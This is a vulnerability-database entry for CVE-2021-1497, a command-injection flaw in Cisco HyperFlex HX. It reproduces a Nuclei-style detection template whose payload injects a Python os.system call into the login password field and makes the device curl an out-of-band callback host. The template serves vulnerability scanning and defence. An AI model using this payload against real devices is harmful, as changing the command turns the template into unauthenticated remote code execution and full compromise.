Cisco HyperFlex HX Data Platform - Remote Command Execution
| Reporter | Title | Published | Views | Family All 49 |
|---|---|---|---|---|
| Cisco HyperFlex HX Data Platform Command Execution Exploit | 4 Jun 202100:00 | – | zdt | |
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| CVE-2021-1497 | 5 May 202100:00 | – | attackerkb | |
| CVE-2021-1498 | 5 May 202100:00 | – | attackerkb | |
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| Joint Advisory AA22-279A and Vulristics | 21 Oct 202220:10 | – | avleonov | |
| Cisco HyperFlex Web Interface Command Execution | 19 May 202100:00 | – | bdu_fstec | |
| Cisco HyperFlex Tomcat8 Command Execution | 19 May 202100:00 | – | bdu_fstec | |
| CVE-2021-1497 | 6 May 202113:51 | – | circl | |
| CVE-2021-1498 | 6 May 202113:51 | – | circl |
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id: CVE-2021-1497
info:
name: Cisco HyperFlex HX Data Platform - Remote Command Execution
author: gy741
severity: critical
description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
impact: |
Attackers can execute arbitrary commands on the device, potentially leading to full system compromise.
remediation: |
Apply the latest security updates and patches provided by Cisco for HyperFlex HX.
reference:
- https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
- https://nvd.nist.gov/vuln/detail/CVE-2021-1497
- https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
- https://twitter.com/Unit42_Intel/status/1402655493735206915
- https://twitter.com/ptswarm/status/1390300625129201664
- https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
- https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-1497
cwe-id: CWE-78
epss-score: 0.9993
epss-percentile: 0.9997
cpe: cpe:2.3:o:cisco:hyperflex_hx_data_platform:4.0\(2a\):*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: cisco
product: hyperflex_hx_data_platform
tags: cve,cve2021,cisco,rce,oast,kev,packetstorm,vkev,vuln
variables:
cmd: 'curl http://{{interactsh-url}} -H \"User-Agent: {{useragent}}\"'
payload: '123",""$6$$)); import os;os.system("{{cmd}}");print(crypt.crypt("'
useragent: '{{rand_base(6)}}'
http:
- raw:
- |
POST /auth/change HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
username=root&password={{url_encode(payload)}}
- |
POST /auth HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
username=root&password={{url_encode(payload)}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"
# digest: 4a0a0047304502207f1e0cdbc2d230b12eaa5b2eb7ffa9963259de3f12df30303474ca86d76b1b58022100f29667f4c94cad37f8a07e8a57765dad090dc50d38c379b7dfa7592ce12d3fee:922c64590222798bb761d5b6d8e72950Data
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04 Feb 2026 07:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
CVSS 210
EPSS0.99999
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